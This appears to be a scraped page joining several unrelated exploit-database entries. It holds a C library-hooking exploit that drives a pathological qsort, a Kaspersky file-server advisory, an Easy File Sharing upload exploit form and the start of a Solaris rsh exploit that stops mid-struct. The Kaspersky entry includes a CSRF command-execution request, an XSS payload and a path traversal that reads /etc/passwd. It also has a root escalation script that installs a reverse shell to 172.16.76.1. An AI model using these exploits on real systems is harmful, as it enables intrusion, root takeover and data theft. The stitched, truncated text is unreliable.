#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
        if (cp <= str) _exit(__LINE__);
        *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
}

#define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
} while (0)

static __inline char    *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void     swapfunc(char *, char *, size_t, int);

/*
 * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
 */
#define swapcode(TYPE, parmi, parmj, n) {               \
        size_t i = (n) / sizeof (TYPE);                 \
        TYPE *pi = (TYPE *) (parmi);                    \
        TYPE *pj = (TYPE *) (parmj);                    \
        do {                                            \
                TYPE    t = *pi;                        \
                *pi++ = *pj;                            \
                *pj++ = t;                              \
        } while (--i > 0);                              \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
        es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
        if (swaptype <= 1)
                swapcode(long, a, b, n)
        else
                swapcode(char, a, b, n)
}

#define swap(a, b)                                      \
        if (swaptype == 0) {                            \
                long t = *(long *)(a);                  \
                *(long *)(a) = *(long *)(b);            \
                *(long *)(b) = t;                       \
        } else                                          \
                swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n)        if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
        return cmp(a, b) < 0 ?
               (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
              :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}

typedef struct {
        size_t idx;
        size_t key;
} slowsort_t;

static __inline void
set_key(void * const _pss, const size_t key)
{
        slowsort_t * const pss = _pss;
        if (!pss) die();
        if (!key) die();
        if (pss->key) die();
        pss->key = key;
}

#define RESET_KEY SIZE_MAX

static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
        if (!aa) die();
        if (n <= 0) die();
        if (n >= SSIZE_MAX) die();
        if (es <= 0) die();
        if (es >= SSIZE_MAX) die();
        if (!cmp) die();

        #define SET_KEYS 4
        #define STACK_FRAME_SIZE 176
        const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
        if (n < pathological) die();
        size_t innocuous = n - pathological;

        char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
        int cmp_result, swaptype;
        size_t d, r;
        char *a = aa;

loop:   SWAPINIT(a, es);
        if (innocuous) {
            if (n <= innocuous) die();
            if (n - innocuous <= SET_KEYS) die();
            if (n <= 40) die();
        }
        if (n < 7) {
                for (pm = a; pm < a + n * es; pm += es) {
                        set_key(pm, 1 + (pm - a) / es);
                }
                for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
                        for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
                             pl -= es)
                                swap(pl, pl - es);
                return;
        }
        pm = (char *)a + (n / 2) * es;
        size_t set_keys = 0;
        if (n > 7) {
                pl = (char *)a;
                pn = (char *)a + (n - 1) * es;
                if (n > 40) {
                        d = (n / 8) * es;
                        if (innocuous) {
                            set_key(pl, RESET_KEY);
                            set_key(pl + d, RESET_KEY);
                            set_key(pl + 2 * d, RESET_KEY);
                        }
                        pl = med3(pl, pl + d, pl + 2 * d, cmp);
                        if (innocuous) set_key(pm - d, RESET_KEY);
                        set_key(pm + 0, n - innocuous - 3);
                        set_key(pm + d, n - innocuous - 2);
                        pm = med3(pm - d, pm, pm + d, cmp);
                        if (innocuous) set_key(pn - 2 * d, RESET_KEY);
                        set_key(pn - d, n - innocuous - 1);
                        set_key(pn - 0, n - innocuous - 0);
                        pn = med3(pn - 2 * d, pn - d, pn, cmp);
                        set_keys = SET_KEYS;
                } else {
                        set_key(pm, n - 1);
                        set_key(pn, n - 0);
                        set_keys = 2;
                }
                pm = med3(pl, pm, pn, cmp);
        } else {
                set_key(pm, n - 0);
                set_keys = 1;
        }
        if (!set_keys) die();
        swap(a, pm);
        if (innocuous) {
            if (a != aa) die();
            slowsort_t * pss = aa;
          {
            const size_t key = pss->key;
            if (!key) die();
            if (n <= 40) die();
            if (set_keys != SET_KEYS) die();
            if (key != n - innocuous - set_keys + 1) die();
          }
            const slowsort_t * const end = pss + n;
            size_t i = 0;
            for (;; pss++) {
                if (pss >= end) {
                    if (i != innocuous) die();
                    break;
                }
                if (!pss->key) {
                    if (i < innocuous) {
                        set_key(pss, n - i++);
                        set_keys++;
                    }
                } else if (pss->key == RESET_KEY) {
                    pss->key = 0;
                } else {
                    if (pss->key > n - innocuous) die();
                }
            }
        }
        pa = pb = (char *)a + es;
        pc = pd = (char *)a + (n - 1) * es;
        for (;;) {
                while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
                        if (cmp_result == 0) {
                                swap(pa, pb);
                                pa += es;
                        }
                        pb += es;
                }
                while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
                        if (cmp_result == 0) {
                                swap(pc, pd);
                                pd -= es;
                        }
                        pc -= es;
                }
                if (pb > pc)
                        break;
                swap(pb, pc);
                pb += es;
                pc -= es;
        }

        pn = (char *)a + n * es;
        r = MIN(pa - (char *)a, pb - pa);
        vecswap(a, pb - r, r);
        r = MIN(pd - pc, pn - pd - (ssize_t)es);
        vecswap(pb, pn - r, r);

        if ((pb - pa) / es != n - set_keys) die();
        if ((pd - pc) / es != set_keys - 1) die();

        if ((r = pb - pa) > es) {
                n = r / es;
                innocuous = 0;
                goto loop;
        }
        die();
}

static int
cmp_key(const void * const a, const void * const b)
{
        const size_t __a_key = ((const slowsort_t *)a)->key;
        const size_t __b_key = ((const slowsort_t *)b)->key;
        const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
        const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
        if (a_key < b_key) return -1;
        if (a_key > b_key) return +1;
        return 0;
}

#define    ATOI2(s)    ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))

/*
 * Adapted from date(1)
 */
static time_t
ttime(char *arg)
{
    time_t now, then;
    struct tm *lt;
    int yearset;
    char *dot, *p;

    if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
        die();

    /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
    for (p = arg, dot = NULL; *p != '\0'; p++) {
        if (*p == '.' && dot == NULL)
            dot = p;
        else if (!isdigit((unsigned char)*p))
            goto terr;
    }
    if (dot == NULL)
        lt->tm_sec = 0;
    else {
        *dot++ = '\0';
        if (strlen(dot) != 2)
            goto terr;
        lt->tm_sec = ATOI2(dot);
        if (lt->tm_sec > 61)    /* could be leap second */
            goto terr;
    }

    yearset = 0;
    switch(strlen(arg)) {
    case 12:            /* CCYYMMDDhhmm */
        lt->tm_year = ATOI2(arg) * 100;
        lt->tm_year -= 1900;    /* Convert to Unix time */
        yearset = 1;
        /* FALLTHROUGH */
    case 10:            /* YYMMDDhhmm */
        if (yearset) {
            yearset = ATOI2(arg);
            lt->tm_year += yearset;
        } else {
            yearset = ATOI2(arg);
            /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
            lt->tm_year = yearset;
            if (yearset < 69)
                lt->tm_year += 100;
        }
        /* FALLTHROUGH */
    case 8:                /* MMDDhhmm */
        lt->tm_mon = ATOI2(arg);
        if (lt->tm_mon > 12 || lt->tm_mon == 0)
            goto terr;
        --lt->tm_mon;        /* Convert from 01-12 to 00-11 */
        lt->tm_mday = ATOI2(arg);
        if (lt->tm_mday > 31 || lt->tm_mday == 0)
            goto terr;
        lt->tm_hour = ATOI2(arg);
        if (lt->tm_hour > 23)
            goto terr;
        lt->tm_min = ATOI2(arg);
        if (lt->tm_min > 59)
            goto terr;
        break;
    default:
        goto terr;
    }

    lt->tm_isdst = -1;        /* mktime will deduce DST. */
    then = mktime(lt);
    if (then == (time_t)-1) {
    terr:
        die();
    }
    if (then < now)
        die();
    return (then);
}

static bool reading_jobs;

void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
    static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
    if (!real_reallocarray) {
        real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
        if (!real_reallocarray) die();
    }
    if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
        if (reading_jobs) die();
        reading_jobs = true;
    }
    void * const new_ptr = real_reallocarray(ptr, nmemb, size);
    if (!new_ptr) die();
    return new_ptr;
}

#define NUMJOBS (40<<20)

static const size_t *
get_jobkeys(void)
{
    const size_t n = NUMJOBS;
    slowsort_t * const a = calloc(n, sizeof(slowsort_t));
    write(STDERR_FILENO, "initializing jobkeys\n", 21);
    if (!a) die();
    size_t i;
    for (i = 0; i < n; i++) {
        a[i].idx = i;
    }
    slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
    size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
    write(STDERR_FILENO, "finalizing jobkeys\n", 19);
    if (!jobkeys) die();
    for (i = 0; i < n; i++) {
        const size_t j = a[i].idx;
        const size_t k = a[i].key;
        if (j >= n) die();
        if (k <= 0) die();
        if (k > n) die();
        if (jobkeys[j]) die();
        jobkeys[j] = k;
    }
    free(a);
    return jobkeys;
}

static struct dirent dirent;

struct dirent *
readdir(DIR * const dirp)
{
    static struct dirent * (* real_readdir)(DIR *dirp);
    if (!real_readdir) {
        real_readdir = dlsym(RTLD_NEXT, "readdir");
        if (!real_readdir) die();
    }
    if (!reading_jobs) {
        return real_readdir(dirp);
    }
    static size_t numjobs;
    if (numjobs >= NUMJOBS) {
        write(STDERR_FILENO, "sorting jobs\n", 13);
        return NULL;
    }
    static char arg[32];
    char * cp = arg + sizeof(arg);
    *--cp = '\0';
  {
    static const struct {
        uint32_t min;
        uint32_t max;
    } units[] = {
        { 0, 59 }, /* Second */
        { 0, 59 }, /* Minute */
        { 0, 23 }, /* Hour */
        { 1, 28 }, /* Day */
        { 1, 12 }, /* Month */
        { 2038, 2099 } /* Year */
    };
    static const size_t * jobkeys;
    if (!jobkeys) {
        jobkeys = get_jobkeys();
        if (!jobkeys) die();
        write(STDERR_FILENO, "reading jobs\n", 13);
    }
    uint32_t timer = jobkeys[numjobs++];
    if (timer > NUMJOBS) die();
    if (timer <= 0) die();
    static size_t percent = 10;
    if (numjobs == NUMJOBS / 100 * percent) {
        const char * const str = u64tostr(percent);
        const size_t len = strlen(str);
        write(STDERR_FILENO, str, len);
        write(STDERR_FILENO, "%\n", 2);
        percent += 10;
    }
    size_t i;
    for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
        const uint32_t min = units[i].min;
        const uint32_t max = units[i].max;
        const uint32_t div = max - min + 1;
        const uint32_t u32 = min + timer % div;
        timer /= div;
        if (u32 < min) die();
        if (u32 > max) die();
        const char * const str = u64tostr(u32);
        const size_t len = strlen(str);
        if (cp <= arg) die();
        if (cp - arg < (ssize_t)len) die();
        cp -= len;
        memcpy(cp, str, len);
        if (len < 2) {
            if (cp <= arg) die();
            *--cp = '0';
        }
        if (!i) {
            if (cp <= arg) die();
            *--cp = '.';
        }
    }
    if (timer) die();
  }
    if (strlen(cp) != 15) die();
    const uint64_t timer = ttime(cp);
    strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
    strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
    return &dirent;
}

int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
    static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
    if (!real_fstatat) {
        real_fstatat = dlsym(RTLD_NEXT, "fstatat");
        if (!real_fstatat) die();
    }
    if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
        return real_fstatat(fd, path, sb, flag);
    }
    memset(sb, 0, sizeof(*sb));
    sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
    static uid_t user_uid;
    if (!user_uid) {
        user_uid = getuid();
        if (!user_uid) die();
    }
    sb->st_uid = user_uid;
    return 0;
}
HireHackking 
1. *Advisory Information*

Title: Kaspersky Anti-Virus File Server Multiple Vulnerabilities
Advisory ID: CORE-2017-0003
Advisory URL: http://www.coresecurity.com/advisories/Kaspersky-Anti-Virus-File-Server-Multiple-Vulnerabilities
Date published: 2017-06-28
Date of last update: 2017-06-28
Vendors contacted: Kaspersky
Release mode: Forced release

2. *Vulnerability Information*

Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery [CWE-352],
Improper Privilege Management [CWE-269], Improper Limitation of a
Pathname to a Restricted Directory [CWE-22]
Impact: Code execution, Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9813, CVE-2017-9810, CVE-2017-9811, CVE-2017-9812

3. *Vulnerability Description*

From Kaspersky Lab's website:
"Large corporate networks that use file servers running on different
platforms can be a real headache when it comes to antivirus protection.
Kaspersky Anti-Virus for Linux File Server is part of our range of new
and refreshed products, solutions and services for heterogeneous
networks. It provides a superior protection with Samba server
integration and other features that can protect workstations and file
servers in even the most complex heterogeneous networks. It is also
certified VMware Ready and supports current versions of FreeBSD for
integrated, future-proof protection."

Multiple vulnerabilities were found in the Kaspersky Anti-Virus for
Linux File Server [2] Web Management Console. It is possible for a
remote attacker to abuse these vulnerabilities and gain command
execution as root.

4. *Vulnerable Packages*

. Kaspersky Anti-Virus for Linux File Server 8.0.3.297 [2]
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

Kaspersky [1] published the following Maintenance Pack:
   . Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312):
   https://support.kaspersky.com/13738/

6. *Credits*

This vulnerability was discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

Kaspersky Anti-virus for Linux File Server comes bundled with a Web
Management Console to monitor the application's status and manage its
operation.

One specific feature allows configuring shell scripts to be executed
when certain events occur. This functionality is vulnerable to
cross-site request forgery, allowing code execution in the context of
the web application as the kluser account. The vulnerability is
described in section 7.1.

Moreover, it is possible to elevate privileges from kluser to root by
abusing the quarantine functionality provided by the kav4fs-control
system binary. This is described in section 7.2.

Additional web application vulnerabilities were found, including a
reflected cross-site scripting vulnerability (7.3) and a path traversal
vulnerability (7.4).

7.1. *Cross-site Request Forgery leading to Remote Command Execution*

[CVE-2017-9810]: There are no Anti-CSRF tokens in any forms on the web
interface. This would allow an attacker to submit authenticated requests
when an authenticated user browses an attacker-controlled domain.

The following request will update the notification settings to run a
shell command when an object is moved to quarantine. For the full list
of events refer to the product's documentation. Note that it is possible
to add a script to all existing events in a single request, widening the
window of exploitation.

The proof-of-concept creates the file /tmp/pepperoni. Shell commands
are run as the lower privilege kluser.

Payload:
/-----
"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni",
"EventName": 22, "Enable": true, "__VersionInfo": "1 0"}]
-----/

Request:

/-----
POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://<server IP>:9080/
Content-Length: 3273
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7;
wmc_full_stat=1;
wmc_logsSimpleMode=1;
wmc_backupSimpleMode=1; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js;
wmc_show_settings_descr=false;
iconsole_test; wmc_show_licence_descr=false
Connection: close

taskId=7&
settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D
&schedule=%7B%7D&skipCtimeCheck=true

-----/

7.2. *Privilege escalation due to excessive permissions*

[CVE-2017-9811]: The kluser is able to interact with the kav4fs-control
binary. By abusing the quarantine read and write operations, it is
possible to elevate the privileges to root.

The following proof-of-concept script adds a cron job that will be
executed as root.

/-----
# Make sure the application is running
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app

# Create cron job in /tmp
echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron

# Sample reverse shell payload
cat > /tmp/reverse.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
EOF
chmod +x /tmp/reverse.sh

# Move the cron job to quarantine and grab the object ID
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)

# Restore the file to /etc/cron.d
/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant
-----/

7.3. *Reflected cross-site scripting*

[CVE-2017-9813]: The scriptName parameter of the licenseKeyInfo action
method is vulnerable to cross-site scripting.

/-----
http://<server
IP>:9080/cgi-bin/cgictl?action=licenseKeyInfo&do_action=licenseKeyInfo&scriptName=</script><img+src%3dx+onerror%3d"alert(1)"%3b/>&active=&licenseKey=bla
-----/

7.4. *Path traversal*

[CVE-2017-9812]: The reportId parameter of the getReportStatus action
method can be abused to read arbitrary files with kluser privileges.
The following proof-of-concept reads the /etc/passwd file.

/-----
GET
/cgi-bin/cgictl?action=getReportStatus&reportId=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Referer: http://<server IP>:9080/
Cookie: iconsole_test; wmc_useWZRDods=true;
wmc_sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc_full_stat=1;
wmc_logsSimpleMode=1; wmc_backupSimpleMode=0; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js
Connection: close
-----/

8. *Report Timeline*
. 2017-04-03: Core Security sent an initial notification to Kaspersky,
including a draft advisory.
. 2017-04-03: Kaspersky confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
. 2017-04-06: Kaspersky confirmed they could reproduce three out of
five reported vulnerabilities and asked us opinion on their
justifications about mitigating factors on the other two. They also said
they would inform us about a fix date in a few days.
. 2017-04-06: Core Security thanked the confirmation and sent
justification for one of the vulnerabilities questioned. Core Security
agreed on removing one reported vulnerability since it can be mitigated
via a product setting.
. 2017-04-25: Kaspersky confirmed the rest of the vulnerabilities
reported and are working on a fix. They said fixes will be released
"till the June, 30", and also said will inform us the exact dates by
the end of June.
. 2017-04-25: Core Security thanked the confirmation of the final
vulnerabilities list and asked for clarification about the release date.
. 2017-04-25: Kaspersky clarified they will release the fix by June
30th and will let us know the exact date by mid June.
. 2017-06-19: Kaspersky mentioned they would like to go ahead with the
publication on June 30th and also asked for CVEs.
. 2017-06-19: Core Security answer back proposing advisory publication
to be July 3rd in order to avoid advisory publication on a Friday. Also
asked for clarification about a fix dated June 14th found by Core
Security researchers and whether or not it fixes the vulnerabilities
reported.
. 2017-06-21: Kaspersky answered back stating the fix dated June 14th
is related to fixes for reported vulnerabilities.
. 2017-06-21: Core Security asked if the June 14th patch (ID 13738) is
fixing *all* the vulnerabilities reported in the current advisory. If
so Core Security will be releasing the advisory sooner than planned.
Reminded Kaspersky said they would release the fixes by June 30th.
. 2017-06-22: Core Security sent a draft advisory with the final CVE
IDs for each vulnerability.
. 2017-06-23: Kaspersky said they will clarify about patch 13738 ASAP
and also noted about a typo in the advisory's timeline.
. 2017-06-23: Core Security requested again we need clarification
around patch 13738 as soon as possible.
. 2017-06-26: Core Security reviewed the patch released in June 14th
and confirmed it addresses all the vulnerabilities reported. Core
Security informed Kaspersky this advisory will be published as a
FORCED release on Wednesday 28th.
. 2017-06-28: Advisory CORE-2017-0003 published.

9. *References*

[1] https://www.kaspersky.com
[2] https://support.kaspersky.com/linux_file80

10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use
at: http://corelabs.coresecurity.com.

11. *About Core Security*

Courion and Core Security have rebranded the combined company, changing
its name to Core Security, to reflect the company's strong commitment to
providing enterprises with market-leading, threat-aware, identity,
access and vulnerability management solutions that enable actionable
intelligence and context needed to manage security risks across the
enterprise. Core Security's analytics-driven approach to security
enables customers to manage access and identify vulnerabilities, in
order to minimize risks and maintain continuous compliance. Solutions
include Multi-Factor Authentication, Provisioning, Identity Governance
and Administration (IGA), Identity and Access Intelligence (IAI), and
Vulnerability Management (VM). The combination of these solutions
provides context and shared intelligence through analytics, giving
customers a more comprehensive view of their security posture so they
can make more informed, prioritized, and better security remediation
decisions.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com.

12. *Disclaimer*

The contents of this advisory are copyright (c) 2017 Core Security
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
HireHackking 
##################################
#   2017/6/15  Chako
#  
#   EFS Web Server 7.2 Unrestricted File Upload
#   Vendor Homepage: http://www.sharing-file.com
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#   Version: Easy File Sharing Web Server 7.2
#   Tested on: WinXP SP3
##################################




EFS Web Server 7.2 allows unauthorized users to upload malicious files





[Exploit]

// action="http://target_host/disk_c/vfolders
// </script><input size="20" name="upload_author" value="Admin" type="hidden"> 
// have to know the user name by Default "Admin"



<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
          <center>
            <a name="reply"></a> 
            <table class="forumline" cellpadding="6" width="479">
              <tbody><tr bgcolor="#8080A6"> 
                <td bgcolor="#eff2f8" height="319"> 
                  <center>

<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
// -->
</script><input size="20" name="upload_author" value="Admin" type="hidden"> 
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden"> 

                    <table cellpadding="0" border="0" width="437">
                      <tbody><tr> 
                        <td colspan="2" height="63"> <span class="bgen">Description:</span> <br> 
                          <input name="upload_title" id="upload_title" size="50" value="dd" type="text">
                          </td>
                      </tr>
                      <tr> 
                        <td colspan="2"><span class="bgen">File:</span> <br>
                          <input name="UploadedFile" id="UploadedFile" size="50" type="file">
                          <br> </td>
                      </tr>
                      <tr>
</tr>
<tr>
 
                        <td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF"> 
                          <input name="Upload" class="button" value="Upload" type="submit">
                          </font> 

                      </td>
                      </tr>
                    </tbody></table>
                  </center></td>
              </tr>
            </tbody></table>
            
          </center>
        </form> 
		[/Exploit]
HireHackking 
/*
 * Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \
    do { \
        (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
        (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
        if ((result)->tv_usec < 0) { \
            --(result)->tv_sec; \
            (result)->tv_usec += 1000000; \
        } \
    } while (0)
#endif

#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
    const char * name;
    size_t s_first, s_last, s_step;
    size_t l_first, l_last, l_step;
    size_t p_first, p_last, p_step;
    size_t a, b;
    size_t i, j;
} targets[] = {
    {
        .name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
